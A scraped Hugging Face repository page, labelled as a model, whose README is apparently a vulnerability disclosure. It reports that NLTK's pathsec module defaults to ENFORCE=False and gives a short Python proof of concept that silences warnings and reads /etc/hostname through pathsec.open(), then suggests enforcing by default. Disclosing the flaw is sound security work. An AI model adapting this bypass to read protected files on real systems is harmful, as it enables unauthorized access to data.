Downloads · 30 days
0
ryansecuritytest-fanpierlabs/poc-nltk-pathsec-bypass
poc-nltk-pathsec-bypass is a machine learning model from ryansecuritytest-fanpierlabs. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for nltk.
NLTK's path security module defaults to ENFORCE=False, making pathsec.open() read arbitrary files with only a warning.
Downloads · 30 days
0
Access
Public
Updated Apr 3, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py1.8 KB · 46%
From the Hugging Face model README
NLTK's path security module defaults to ENFORCE=False, making
pathsec.open() read arbitrary files with only a warning.
nltk/pathsec.py:24 — ENFORCE = Falsenltk/pathsec.py:253-256 — open() proceeds after warningimport warnings, nltk.pathsec as pathsec
with warnings.catch_warnings(record=True):
warnings.simplefilter("always")
f = pathsec.open("/etc/hostname", "r")
print(f.read()) # Reads file despite security warning!
Set ENFORCE = True by default.